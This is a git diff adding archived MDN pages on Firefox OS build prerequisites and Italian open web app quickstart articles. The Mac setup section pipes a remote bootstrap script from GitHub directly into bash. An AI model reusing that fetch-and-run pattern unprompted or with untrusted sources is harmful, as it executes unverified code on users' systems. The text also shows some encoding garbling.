+<p>The filesystem image format used in this case is YAFFS2 (Yet Another Filesystem 2). Gentoo has support for the very latest (ie. git HEAD) <code>yaffs2-utils</code> userland package in portage. (Note: You will also need kernel patches if you want to mount YAFFS2 images, but this is not really required since you can deconstruct and rebuild them instead.)</p>
+<pre># emerge --autounmask-write yaffs2-utils; etc-update; emerge -av yaffs2-utils</pre>
+<p>In order to generate such an image, simply change to the parent directory of the partition filesystem tree you wish to package, and issue a command like this:</p>
+<pre>mkyaffs2image system/ system.img</pre>
+<h2 id="Requirements_for_Mac_OS_X">Requirements for Mac OS X</h2>
+<p>To build Firefox OS on Mac OS X, there are a number of prequisite steps you need to follow, which are detailed below. We also discuss common errors you might come across in particular situations, and solutions to those.</p>
+<div class="note">
+ <p><strong>Note: Configuring and Building B2G for Keon WON'T WORK on a Mac</strong>. You'll need to use Linux to build B2G for this device.</p>
+</div>
+<h3 id="Version_Compatibility"><strong>Version Compatibility</strong></h3>
+<p>XCode 4.2 or older are not compatible with Mac OS X 10.9 (a.k.a. "Mavericks"), so you may be surprised to find build failures of Firefox OS. Basically you can no longer build ICS emulator on Mac OS X 10.9 or above, and flatfish fails to build with XCode 5.x series.</p>
+<table class="standard-table">
+ <caption>
+  Version compatibility of Mac OS X 10.9.x</caption>
+ <tbody>
+  <tr>
+   <td> </td>
+   <td>emulator (ICS)</td>
+   <td>flatfish (JB-4.2)</td>
+   <td>emulator-jb (JB-4.3)</td>
+   <td>emulator-kk (KitKat-4.4)</td>
+  </tr>
+  <tr>
+   <td>XCode 4.3.3</td>
+   <td style="text-align: center;">X</td>
+   <td style="text-align: center;">X</td>
+   <td style="text-align: center;">X</td>
+   <td style="text-align: center;">X</td>
+  </tr>
+  <tr>
+   <td>XCode 4.4.1</td>
+   <td style="text-align: center;">X</td>
+   <td style="text-align: center;">O[1]</td>
+   <td style="text-align: center;">O</td>
+   <td style="text-align: center;">O</td>
+  </tr>
+  <tr>
+   <td>XCode 4.5.2</td>
+   <td style="text-align: center;">X</td>
+   <td style="text-align: center;">O[1]</td>
+   <td style="text-align: center;">O</td>
+   <td style="text-align: center;">O</td>
+  </tr>
+  <tr>
+   <td>XCode 4.6.3</td>
+   <td style="text-align: center;">X</td>
+   <td style="text-align: center;">O[1]</td>
+   <td style="text-align: center;">O</td>
+   <td style="text-align: center;">O</td>
+  </tr>
+  <tr>
+   <td>XCode 5.0.2</td>
+   <td style="text-align: center;">X</td>
+   <td style="text-align: center;">X</td>
+   <td style="text-align: center;">O</td>
+   <td style="text-align: center;">O</td>
+  </tr>
+  <tr>
+   <td>XCode 5.1.1</td>
+   <td style="text-align: center;">X</td>
+   <td style="text-align: center;">X</td>
+   <td style="text-align: center;">O</td>
+   <td style="text-align: center;">O</td>
+  </tr>
+ </tbody>
+</table>
+<ol>
+ <li>You must have environment variable <strong>BUILD_MAC_SDK_EXPERIMENTAL=1</strong> exported to build flatfish.</li>
+</ol>
+<h3 id="Install_XCode_Command_Line_Utilities"><strong>Install XCode Command Line Utilities</strong></h3>
+<p>You need to install Xcode's Command Line Utilities. You can download <em>just</em> the Command Line Utilities from <a href="https://developer.apple.com/downloads/" title="https://developer.apple.com/downloads/">Apple's developer downloads page</a> for your particular version of OS X, however if you would like the entire Xcode suite of applications, you can <a class="external" href="http://itunes.apple.com/us/app/xcode/id497799835?mt=12" style="line-height: 1.572;" title="http://itunes.apple.com/us/app/xcode/id497799835?mt=12">install Xcode</a><span style="line-height: 1.572;"> through the Mac App Store. </span></p>
+<p>Xcode 4.3.1 (OS X 10.7 "Lion") and other newer versions such as 4.4.1+ (that is, Mac OS X 10.8 "Mountain Lion"), won't necessarily include the required Command Line Utilities. When you install Xcode, make sure to go into Preferences, then the Downloads panel, and install the Command Line Utilities. In addition, make sure you have at least 20 GB of free disk space.</p>
+<p><img alt="Screenshot of Xcode Downloads Command Line Tools" src="/files/4557/xcode_downloads_command_line_tools.png" style="width: 750px; height: 528px;"></p>
+<div class="note">
+ <p><strong>Note:</strong> The Firefox OS emulator requires a Core 2 Duo processor or later; that is, a system that is compatible with Mac OS X 10.7 "Lion". You do not actually have to be running Lion, you just have to be compatible with it. You can, however, build any Firefox OS build on many older Macs.</p>
+</div>
+<div class="note">
+ <p><strong>Note:</strong> XCode 4.2.x or older is not compatible with Mac OS X 10.9 or above, and XCode 4.3.x has no platform SDK for 10.8. Please install a newer version. If you're also working on flatfish, please make sure any of XCode 4.4, 4.5, and 4.6 is available.</p>
+</div>
+<h3 id="Run_Firefox_OS_Mac_Bootstrap">Run Firefox OS Mac Bootstrap</h3>
+<p>Next, open a terminal and run the following command:</p>
+<pre class="brush: bash">curl -fsSL https://raw.github.com/mozilla-b2g/B2G/master/scripts/bootstrap-mac.sh | bash</pre>
+<p>This will pull and run a bootstrap script that makes sure you have all the prerequisites met to build the emulator. It will also prompt you for permission to install anything you're missing, and provide warnings and suggested fixes to problems. The script will check for and install the following items:</p>
+<ul>
+ <li><code>git</code></li>
+ <li><code>gpg</code></li>
+ <li><code>ccache</code></li>
+ <li><code>yasm</code></li>
+ <li><code>autoconf-213</code></li>
+ <li><code>gcc-4.6</code></li>
+ <li><code>gnu-tar</code></li>
+ <li><code>homebrew</code></li>
+</ul>
+<h4 id="Xcode_wrangling">Xcode wrangling</h4>
+<p>If you have already upgraded to Xcode 4.4+ and get the message that Xcode is outdated, check the Xcode path with:</p>
+<pre>xcode-select -print-path</pre>
+<p>If it still points to <code>/Developer</code> you can update the path with:</p>
+<pre>sudo xcode-select -switch /Applications/Xcode.app</pre>
+<h4 id="Making_the_Mac_OS_X_10.6_SDK_available">Making the Mac OS X 10.6 SDK available</h4>
+<p>You also need to have the Mac OS X 10.6 SDK available. The SDK needs to be available at</p>
+<pre>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</pre>
+<p>If it cannot be found there you will need to extract and copy it from Xcode 4.3. To do this:</p>
+<ol>
+ <li>Download the XCode 4.3 .dmg file from the <a class="external" href="https://developer.apple.com/downloads/index.action">Apple Developer</a> portal (you'll need an <a href="https://developer.apple.com/register/index.action" title="https://developer.apple.com/register/index.action">Apple Developer account</a>).</li>
+ <li>Download the utility <a href="http://www.charlessoft.com/" title="http://www.charlessoft.com/">Pacifist</a> and use it to extract the 10.6 SDK from the XCode 4.3 .dmg file. Click on the "Extract Package" button, find the SDK by searching for 10.6 in the search box, then <em>Ctrl + click</em> on the MacOSX10.6.sdk directory and Extract it to a suitable location.</li>
+ <li>Add a symlink from the 10.6 SDK location to the <code>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</code> directory. For example, if you put the 10.6 SDK on your desktop, the comment would be</li>
+</ol>
+<pre>ln -s /Users/<em>&lt;yourusername&gt;</em>/Desktop/MacOSX10.6.sdk /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</pre>
+<div class="note">
+ <p><strong>Note:</strong> This is not necessary for Mac OS X 10.9 or above, because 10.6 SDK is for ICS and ICS doesn't supports Mac OS X 10.9.</p>
+</div>
+<h3 id="Be_aware_of_Mac_file_system_case_sensitivity">Be aware of Mac file system case sensitivity</h3>
+<p>By default, Mac OS X ships with a case-insensitive file system.  This is problematic because the Linux kernel has a number of files with the same name, but different case.  For example, see the header files <code>xt_CONNMARK.h</code> and <code>xt_connmark.h</code>.  This results in a number of files appearing to be modified in <code>/kernel</code> after a fresh <code>./config.sh</code>.</p>
+<p>In many cases you can run the build just fine; for some platforms, however, you may encounter the following error:</p>
+<pre><span class="quote">ERROR: You have uncommited changes in kernel
+You may force overwriting these changes
+with |source build/envsetup.sh force|
+
+ERROR: Patching of kernel/ failed.</span></pre>
+<p><span class="quote">Please see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867259" title="https://bugzilla.mozilla.org/show_bug.cgi?id=867259">bug 867259</a></span> for more discussion and possible fixes for this problem.</p>
+<p>Alternatively, it will always be safest to build on a case sensitive file system.  The easiest way to do this is to create a separate, mountable disk image with case-sensitivity enabled.  You can do this using Apple's Disk Utility application or from the command line:</p>
+<pre>hdiutil create -volname 'firefoxos' -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 40g ~/firefoxos.sparseimage</pre>
+<p>Mount the drive with:</p>
+<pre>open ~/firefoxos.sparseimage</pre>
+<p>Change into the mounted drive with:</p>
+<pre>cd /Volumes/firefoxos/</pre>
+<p>You can then check out the code and compile from this location without worrying about case-sensitivity problems.</p>
+<h3 id="Mountain_Lion_homebrew_gotcha">Mountain Lion homebrew gotcha</h3>
+<div>
+ <div>
+  If you are on Mountain Lion and you receive an error during the installation of the dependencies via homebrew, such as:</div>
+</div>
+<div>
+ <pre>clang: error: unable to execute command: Segmentation fault: 11</pre>
+ ... try reinstalling the dependency manually adding the <code>--use-gcc</code> flag, for example:
+ <pre>brew install mpfr --use-gcc</pre>
+</div>
+<h3 id="Follow_Samsung_Galaxy_S2_extra_steps">Follow Samsung Galaxy S2 extra steps</h3>
+<p>If you plan to build for the Samsung Galaxy S2, you will also need to install heimdall. See {{ anch("Installing heimdall") }} for details. This is <strong>not</strong> done for you by the bootstrap script!</p>
+<div class="note">
+ <strong>Note:</strong> If you have installed the <a class="external" href="http://www.samsung.com/us/kies/" title="http://www.samsung.com/us/kies/">Samsung Kies</a> tool, which is used to manage the contents of many Samsung phones, you will have to remove it before you can flash Firefox OS onto your device. You can use the standard application removal process on Windows; on Mac, the Kies install disk image has a utility to fully remove Kies from your system. Flashing <strong>will not work</strong> if you have Kies installed. If you forget to remove Kies, the build system will detect it and remind you to uninstall it. Note also that the uninstall tool does not correctly remove the folder <code>~/Library/Application Support/.FUS</code>, and leaves a reference to a utility there in your user startup items list. You will want to remove these manually.</div>
+<h3 class="note" id="Fix_libmpc_dependency_if_broken">Fix libmpc dependency if broken</h3>
+<p><code>gcc 4.6</code> was built with <code>libmpc 0.9</code>; if you then use homebrew to update packages, libmpc gets updated to version 1.0, but homebrew doesn't rebuild <code>gcc 4.6</code> after the library version changes. So you need to create a symlink to make things work again, like this:</p>
+<pre>cd /usr/local/lib/
+ln -s libmpc.3.dylib libmpc.2.dylib</pre>
+<h3 id="Optional_Install_HAX">Optional: Install HAX</h3>
+<p>Intel provides a special driver that lets the B2G emulator run its code natively on your Mac instead of being emulated, when you're using the x86 emulator. If you wish to use this, you can <a class="external" href="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/" title="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/">download and install</a> it. It's not required, but it can improve emulation performance and stability.  </p>
+<p>Before you install HAX you will need to install the <a href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">Android SDK</a>.</p>
+<h2 class="note" id="Install_adb">Install adb</h2>
+<p>The build process needs to pull binary blobs from the Android installation on the phone before building B2G (unless you're building the emulator, of course).  For this, you will need <code>adb</code>, the Android Debug Bridge. Our <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">Installing ADB</a> article explains how to get <code>adb</code> installed.</p>
+<div class="warning">
+ <p>Note for future when you start to use adb: adb needs the phone's lock screen to be unlocked in order to see your phone (at least in later versions of Firefox OS). You'll probably want to disable the lock screen (we'll get to how later in the build instructions).</p>
+</div>
+<h2 class="note" id="Install_heimdall">Install heimdall</h2>
+<p>Heimdall is a utility for flashing the Samsung Galaxy S2. It's used by the Boot to Gecko flash utility to replace the contents of the phone with Firefox OS, as well as to flash updated versions of B2G and Gaia onto the device. You'll need it if you want to install Firefox OS on a Galaxy S2; it is <strong>not</strong> needed for any other device. For other devices, we build and use the fastboot utility instead.</p>
+<div class="note">
+ <strong>Note:</strong> Again, it's important to note that this is <strong>only required for installing Firefox OS on the Samsung Galaxy S2</strong>.</div>
+<p>There are two ways to install heimdall:</p>
+<ul>
+ <li>You can <a class="link-https" href="https://github.com/Benjamin-Dobell/Heimdall" title="https://github.com/Benjamin-Dobell/Heimdall">download the code</a> GitHub and build it yourself.</li>
+ <li>Use a package manager to install it.
+  <ul>
+   <li>On Linux: <code>sudo apt-get install libusb-1.0-0 libusb-1.0-0-dev</code></li>
+   <li>On Mac, you can <a class="link-https" href="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg" title="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg">download an installer package</a> and use that.</li>
+  </ul>
+ </li>
+</ul>
+<h2 id="Configure_ccache">Configure ccache</h2>
+<p>The B2G build process uses ccache. The default cache size for ccache is 1GB, but the B2G build easily saturates this; around 3GB is recommended. You can configure your cache by running the following command inside terminal:</p>
+<pre><code>$ ccache --max-size 3GB</code></pre>
+<h2 id="For_Linux_configure_the_udev_rule_for_your_phone">For Linux: configure the udev rule for your phone</h2>
+<div class="note">
+ <p><strong>Note</strong>: This section is specific to Linux; Mac OS X has the necessary device permissions set up already.</p>
+</div>
+<p>Next, you need to confingure the udev rule for your phone,</p>
+<p>You can get the <a href="https://developer.android.com/tools/device.html#VendorIds">USB vendor ID</a> by running <code>lsusb</code> with your phone plugged in, but typically it's Google <code>18d1,</code> Samsung <code>04e8</code>, ZTE <code>19d2</code>, Geeksphone/Qualcomm <code>05c6</code>. Add this line in your <code>/etc/udev/rules.d/android.rules</code> file (replacing <code>XXXX</code> with the ID for your device):</p>
+<pre>SUBSYSTEM=="usb", ATTR{idVendor}=="XXXX", MODE="0666", GROUP="plugdev"</pre>
+<p>Take ZTE for example, the content in android.rules will be</p>
+<pre style="font-size: 14px;">SUBSYSTEM=="usb", ATTR{idVendor}=="19d2", MODE="0666", GROUP="plugdev"</pre>
+<div class="note">
+ <p><span style="line-height: 1.572;">If the file doesn't exist, create it. The <code>rules.d</code> directory is usually read only by default, so you may have to use <code>chmod</code> to make the directory writeable, or the file, or both.</span></p>
+</div>
+<p><span style="line-height: 1.572;">Once you've saved the file, and closed it,  make the file readable:</span></p>
+<pre>sudo chmod a+r /etc/udev/rules.d/android.rules
+</pre>
+<p>Now that the udev rules have been updated, restart the udev daemon. For ubuntu:</p>
+<pre>sudo service udev restart</pre>
+<p>Finally, unplug and the USB cable but don't replug it in because we need to enable remote debugging on the phone first.</p>
+<h2 id="Enable_remote_debugging">Enable remote debugging</h2>
+<p>Before you plug your phone back into your USB port, put it USB developer mode. This allows you to debug and flash the phone. To enable developer mode, on your phone enable <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Remote_debugging">Remote Debugging</a> in <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a> (this was called Developer mode on older versions.) Once the option is checked, remote debugging is enabled, and you are ready to go.</p>
+<p>At this point, connect your phone to your computer via a USB cable (if you created the udev rule before, this will trigger udev to detect the phone and create the device node with the right permissions). Now you can check if you can list your device via the <code>adb devices</code> command (remember that adb can only see your phone when the lock screen is unlocked). If everything has worked ok, you should see an output similar to this (the following is for a Geeksphone Keon):</p>
+<pre style="font-size: 14px;">$ adb devices
+List of devices attached
+full_keon       device</pre>
+<p>If the device did not list as expect, check the file name and the script are all correct (see previous section), then restart the computer and retype the command again. Note also that if your device uses fastboot, the bootloader may identify itself with a different vendor ID than the one you see when the device boots normally.</p>
+<h2 id="Backup_the_phone_system_partition">Backup the phone system partition</h2>
+<div class="note">
+ <p><strong>Note</strong>: You have to do this before you build your device if you do not have an existing system backup, because some libraries will be referenced in build time. These library might be proprietary so we can't provide in our code base.</p>
+</div>
+<p>It is recommended that you back up the entire Android system partition on your phone.</p>
+<p>You can use this copy of the binary blobs for Android in case you later delete your B2G tree. To do this, run:</p>
+<pre>adb pull /system &lt;backup target dir&gt;/system
+</pre>
+<p> Depending on the phone, you may also need to pull the <code>/data</code> and/or <code>/vendor</code> directories:</p>
+<pre>adb pull /data &lt;backup target dir&gt;/data
+adb pull /vendor &lt;backup target dir&gt;/vendor
+</pre>
+<p>If the pull commands fail with an "insufficient permission" message, try the following:</p>
+<ul>
+ <li>stop and restart the adb server, or if that fails,</li>
+ <li>double-check that you have granted root permissions to the <code>adb</code> tool within your custom ROM (e.g. under CyanogenMod, change <em>Settings &gt; System &gt; Developer Options &gt; Root Access</em> to <em>Apps and ADB</em> or <em>ADB only</em>).</li>
+ <li>Verify that you have set up the udev rule correctly (see {{ anch("For Linux: configure the udev rule for your phone") }}.</li>
+</ul>
+<h2 id="On_to_the_next_step">On to the next step</h2>
+<blockquote>
+ <p>At this point, you should be ready to <a href="/en-US/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build" title="en-US/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build">fetch the Firefox OS code</a>!</p>
+</blockquote>
diff --git a/files/it/archive/b2g_os/quickstart/app_tools/index.html b/files/it/archive/b2g_os/quickstart/app_tools/index.html
new file mode 100644
index 0000000000..5d8657ae2a
--- /dev/null
+++ b/files/it/archive/b2g_os/quickstart/app_tools/index.html
@@ -0,0 +1,16 @@
+---
+title: Strumenti di sviluppo per le app
+slug: Archive/B2G_OS/Quickstart/App_tools
+translation_of: Archive/B2G_OS/Quickstart/App_tools
+---
+<div class="summary">
+ <p>Cosa si usa per sviluppare le App Open Web? La risposta è "Gli stessi che si utilizzano abitualmente quando si sviluppa per il Web". La seguente è una lista di strumenti e risorse per aiutarti a sviluppare le tue prime App Open Web. Possono essere facilmente integrati nel tuo metodo di sviluppo web, se ne hai uno, o puoi creare un nuovo flusso di lavoro basandoti su di essi.</p>
+</div>
+<h2 id="Test_di_validazione_dell'app">Test di validazione dell'app</h2>
+<p>La tua app è pronta per Firefox Marketplace? Il <a href="https://marketplace.firefox.com/developers/validator">Test di validazione dell'app</a> analizzerà il tuo manifest e ti mostrerà gli errori che potrebbe avere, o gli avvertimenti a cui dovresti prestare attenzione.</p>
+<h2 id="Firefox_OS_Simulator">Firefox OS Simulator</h2>
+<p>Installare e utilizzare il <a href="https://marketplace.firefox.com/developers/docs/firefox_os_simulator">Firefox OS Simulator</a> è il modo più semplice per avere la tua app pronta in breve tempo. Dopo averlo installato, il simulatore è accessibile dal menu Sviluppo Web -&gt; Firefox OS Simulator. Assieme al simulatore viene lanciata una console JavaScript che permette di eseguire il debug delle applicazioni dall'interno del simulatore.</p>
+<h2 id="App_Manager">App Manager</h2>
+<p>Il nuovo arrivato per quanto riguarda gli strumenti di test si chiama <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_App_Manager">App Manager</a>. Questo strumento ti permette di collegare Firefox a un dispositivo compatibile via USB (o a un simulatore Firefox OS), inviare app direttamente al dispositivo, validarle ed eseguirne il debug mentre vengono eseguite sul dispositivo.</p>
+<h2 id="Strumenti_di_sviluppo_di_Firefox">Strumenti di sviluppo di Firefox</h2>
+<p>Firefox ora include un insieme di strumenti di sviluppo predefiniti progettati da zero per consentire un'esperienza di sviluppo rapida ed efficiente. Per scoprire di più riguardo questi strumenti, e conoscere una lista dettagliata di cos'altro Mozilla abbia da offrire, visita la  <a href="/en-US/docs/Tools">zona Strumenti</a>.</p>
diff --git a/files/it/archive/b2g_os/quickstart/index.html b/files/it/archive/b2g_os/quickstart/index.html
new file mode 100644
index 0000000000..325ec38fd0
--- /dev/null
+++ b/files/it/archive/b2g_os/quickstart/index.html
@@ -0,0 +1,48 @@
+---
+title: Crea
+slug: Archive/B2G_OS/Quickstart
+tags:
+  - TopicStub
+translation_of: Archive/B2G_OS/Quickstart
+---
+<div class="summary">
+ <p>Informazioni rapide per lo sviluppo di app open web.</p>
+</div>
+<dl>
+ <dt>
+  <a href="/docs/Web/Apps/Quickstart/Build/Intro_to_open_web_apps">Introduzione alle app open web</a></dt>
+ <dd>
+  Cosa sono le app open web? In cosa differiscono dalle normali pagine web? Perché la differenza è importante? Questo articolo punta a rispondere a queste e ad altre domande.</dd>
+ <dt>
+  <a href="/docs/Web/Apps/Quickstart/Build/Your_first_app">La tua prima app</a></dt>
+ <dd>
+  Questo articolo ti guida attraverso i passaggi base e le conoscenze addizionali rispetto allo sviluppo di normali pagine web per creare app open web installabili.</dd>
+ <dt>
+  <a href="/docs/Web/Apps/Quickstart/Build/Intro_to_Firefox_OS">Introduzione a Firefox OS</a></dt>
+ <dd>
+  Una presentazione di Firefox OS, la nuova piattaforma mobile di Mozilla basata sulle app open web.</dd>
+ <dt>
+  <a href="/docs/Web/Apps/Quickstart/Build/Intro_to_manifests">Introduzione ai manifesti</a></dt>
+ <dd>
+  FAQ creata per rispondere a qualsiasi domanda tu abbia sui manifesti, l'hosting delle app, origini e altri argomenti correlati.</dd>
+ <dt>
+  <a href="/docs/Web/Apps/Quickstart/Build/For_Web_developers">Sviluppo di app per sviluppatori web</a></dt>
+ <dd>
+  Per gli sviluppatori web: in cosa le app open web differiscono da ciò a cui sei abituato? Questo articolo spiega tutto.</dd>
+ <dt>
+  <a href="/docs/Web/Apps/Quickstart/Build/For_mobile_developers">Sviluppo di app per sviluppatori <em>mobile</em></a></dt>
+ <dd>
+  Per gli sviluppatori di applicazioni <em>mobile</em> native: quali vantaggi ti portano le app open web, e in cosa differiscono da ciò a cui sei abituato? Qui ci sono alcune idee.</dd>
+ <dt>
+  <a href="/docs/Web/Apps/Quickstart/Build/Developing_app_functionality">Sviluppo di funzionalità per le app</a></dt>
+ <dd>
+  Questa pagina presenta i diversi tipi di funzionalità che potresti voler includere nelle tue app, con link a ulteriori informazioni.</dd>
+ <dt>
+  <a href="/docs/Web/Apps/Quickstart/Build/Payments">Pagamenti</a></dt>
+ <dd>
+  Come puoi implementare le funzionalità per ricevere pagamenti dagli utenti che installano le tue app open web? Qui trovi i dettagli.</dd>
+ <dt>
+  <a href="/docs/Web/Apps/Quickstart/Build/App_tools">Strumenti per le app</a></dt>
+ <dd>
+  Nell’ultimo articolo di questa sezione sono raccolti alcuni link a ulteriore documentazione sugli strumenti a disposizione degli sviluppatori per creare app open web di qualità.</dd>
+</dl>
diff --git a/files/it/archive/b2g_os/quickstart/intro_app_web_aperte/index.html b/files/it/archive/b2g_os/quickstart/intro_app_web_aperte/index.html
new file mode 100644
index 0000000000..bd1a8d4cb5
--- /dev/null
+++ b/files/it/archive/b2g_os/quickstart/intro_app_web_aperte/index.html
@@ -0,0 +1,53 @@
+---
+title: Introduzione alle app web aperte
+slug: Archive/B2G_OS/Quickstart/Intro_app_web_aperte
+translation_of: Archive/B2G_OS/Quickstart/Intro_to_open_web_apps
+---
+<p><img alt="Multidispositivo" src="/files/4523/multidevices.png" style="width: 640px; height: 225px;"></p>
+<div class="summary">
+ <p>This article is designed to act as a good starting point for anyone wishing to learn more about Open Web Apps, whether you are a developer or project manager, or have another role relevant to app development or delivery. Here we'll provide you with a light, high level overview of Open Web Apps and the philosophy behind them.</p>
+</div>
+<p>Open Web Apps are essentially no different than standard websites or Web pages. They are built using standard open Web technologies — HTML, CSS, JavaScript, etc. — and can be accessed using a Web browser. The main differences lie in their ability to be installed on a device and work offline, and access to advanced APIs that allow interaction with device features such as the camera, address book, and other such things. In addition, they are built on open technologies as much as is possible. Where differences lie in technology implementation between platforms, efforts should be made to ensure that both are supported, through a combination of feature detection and appropriate code for different platforms, and graceful degradation.</p>
+<h2 id="Advantages_of_Open_Web_Apps">Advantages of Open Web Apps</h2>
+<p>Let's look at the advantages of Open Web Apps in a little more detail:</p>
+<ul>
+ <li><strong>Local installation and offline storage</strong>: Open Web Apps can be installed on the device, and leverage APIs such as <a href="/en-US/docs/Web/Guide/DOM/Storage" title="/en-US/docs/Web/Guide/DOM/Storage">local storage</a> and <a href="/en-US/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a> to provide local data storage capabilities. In addition, open Web technologies tend to have a much smaller footprint than native apps and can generally be updated atomically rather than having to install a complete new package each time there's an update. (an exception to this is packages apps, which require a whole new package when updating.) Apps are therefore less dependent on an always-on Web connection, and more useful when networks are patchy.</li>
+ <li><strong>Hardware access</strong>: The metadata provided with Open Web Apps can be used to grant the application permission to privileged APIs that enable usage of device hardware features, something the Web platform has not traditionally enjoyed.</li>
+ <li><strong>Breaking the walled gardens</strong>: The norm for mobile platforms tends to be be walled gardens written with proprietary technologies, so apps are locked inside their platforms. And smartphones tend to be expensive, and require credit cards for app purchases. Open Web Apps tend to be able to run on much cheaper hardware, especially in the case of Firefox OS devices where you've literally just got Firefox running on top of a lightweight Linux kernel. And they are written using open Web technologies, which is the most distributed platform around. In addition, Firefox OS devices feature payment systems where you can simply prepay for apps, or add the cost to your phone bill.</li>
+ <li><strong>Open Web App stores</strong>: Following on from the previous point, you can choose to host your apps in an existing marketplace (such as the <a href="https://marketplace.firefox.com/" title="https://marketplace.firefox.com/">Firefox Marketplace</a>), or host them somewhere else entirely. It's up to you. Mozilla aims to put the developer back in control of every aspect of the app experience — from easy development to distribution to direct customer relationship management. And the apps can be searched for just like any other Web-based experience.</li>
+</ul>
+<p>The following video also looks at general advantages of open web apps, and developing for the Firefox OS platform:</p>
+<p style="text-align: center;"><iframe frameborder="0" height="270" src="https://www.youtube.com/embed/RJJkFshnnVc/?feature=player_detailpage" width="480"></iframe></p>
+<h2 id="Il_Web_è_la_piattaforma">Il Web è la piattaforma</h2>
+<p>An open web app as it exists as installed on a platform like Firefox OS is not a bookmark ‚Äî it‚Äôs a proper part of the system. Le app web rappresentano una importante promessa per il futuro Sono un'opportunità che non dobbiamo perdere se non vogliamo che il Web torni ancora una volta a essere frammentato. Tenendo presente ciò, appare chiaro che l'obiettivo delle app web aperte (AWA per brevità) è diventare standardizzare ed entrare a far parte del "Web". Se avranno successo, le AWA eventualmente funzioneranno su ogni browser, sistema operativo e dispositivo.</p>
+<p>Noi di Mozilla stiamo lavorando sodo per realizzare una piattaforma di app sostenuta interamente dal Web aperto. Non vogliamo creare una "piattaforma Mozilla" o una "piattaforma Firefox". <strong>Il Web è la piattaforma.</strong> Stiamo realizzando una collezione di API aperte e implementazioni per dimostrare che le app portabili possono esistere sul Web senza essere bloccate dai lucchetti dei venditori. Altri gruppi come Facebook e Google Chrome stanno lavorando su piattaforme di app che si appoggiano al Web. Le <a href="https://developers.facebook.com/docs/guides/canvas/">app di Facebook</a> sono progettate per agganciarsi al sito di Facebook, mentre le <a href="http://www.google.com/intl/en/chrome/webstore/apps.html">app di Chrome</a> sono progettate per i dispositivi con Chrome OS e per i server di Google. Le app di Chrome sono le più simili alle app web aperte. Continua la nostra collaborazione con il team di Google Chrome per stare al passo con l'evoluzione degli standard delle app e sicuramente condividiamo in gran parte la stessa visione. Esiste un enorme potenziale per tutte le piattaforme di app basate sul Web di convergere e estendiamo a ogni venditore l'invito di aiutarci a creare le API per app web aperte più adatte.</p>
+<p>Sebbene al momento sia necessario un motore basato su Mozilla Firefox ("Web runtime") per utilizzare le app web aperte, in futuro non sarà sempre così. Stiamo ancora lavorando su molti punti di questo progetto e non ci è possibile implementare tutto su ogni browser contemporaneamente. Anche se numerose parti delle app web aperte sono già standardizzate, ci sono molti altri aspetti ancora da definire. È nostra intenzione e speranza rendere le app web aperte una funzionalità standardizzata disponibile su tutti i principali browser.</p>
+<p>Quindi quando si consultano le pagine di MDN sulle app web aperte è opportuno tenere conto che, nonostante molte informazioni siano al momento specifiche per Firefox, se tutto procede come auspicato in futuro consentiranno di sviluppare app per tutti i browser.</p>
+<h2 id="Standard_web">Standard web</h2>
+<p>La tecnologia AWA non è una sola, più che altro è un ombrello sotto il quale si raggruppano numerose tecnologie differenti, alcune delle quali ancora molto giovani. Attualmente alcune parti di AWA sono standardizzate (HTML5, CSS, JavaScript, IndexedDB, ecc.) Altre parti non sono state ancora standardizzate, pertanto Mozilla le ha implementate solo in Firefox e altri prodotti Mozilla. Dal momento che la missione di Mozilla è condividere le potenzialità del Web con tutti, questa situazione è solo temporanea. Per questa ragione nei documenti AWA tenteremo di identificare con chiarezza le parti non ancora standardizzate.</p>
+<p>Tieni anche in considerazione che potrebbero esistere anche altre tecnologie proposte per AWA candidate a definirne lo standard e non utilizzate da Mozilla.</p>
+<h3 id="Standard_finali_a_cui_miriamo">Standard finali a cui miriamo</h3>
+<p>Le seguenti parti, non ancora standardizzate per tutte le piattaforme web, al momento sono disponibili solo su Firefox:</p>
+<ul>
+ <li><a href="/en-US/docs/Web/Apps/Manifest">Manifesto AWA</a> per definire un'app</li>
+ <li><a href="/en-US/docs/Web/Apps/JavaScript_API">API completa di AWA</a> per lavorare con le app</li>
+ <li><a href="https://wiki.mozilla.org/WebAPI">API web</a> per accedere a funzioni come la geolocalizzazione del telefono ecc. Vedi anche <a href="http://arewemobileyet.com/">arewemobileyet.com</a> per un rapporto di stato.</li>
+ <li><a href="/en-US/docs/Mozilla/Persona">Identity (Persona)</a> per gestire i dati degli utenti</li>
+ <li><a href="https://wiki.mozilla.org/WebAPI/WebPayment">API WebPayment</a> per facilitare i pagamenti in-app e gli acquisti di app da tutti i Marketplace</li>
+ <li><a href="https://wiki.mozilla.org/Apps/WebApplicationReceipt">Ricevute AWA</a> per convalidare le app pagate su ogni dispositivo e vendere app da tutti i Marketplace</li>
+</ul>
+<h3 id="Marketplace">Marketplace</h3>
+<h4 id="Acquista_una_volta_utilizza_dappertutto">Acquista una volta, utilizza dappertutto</h4>
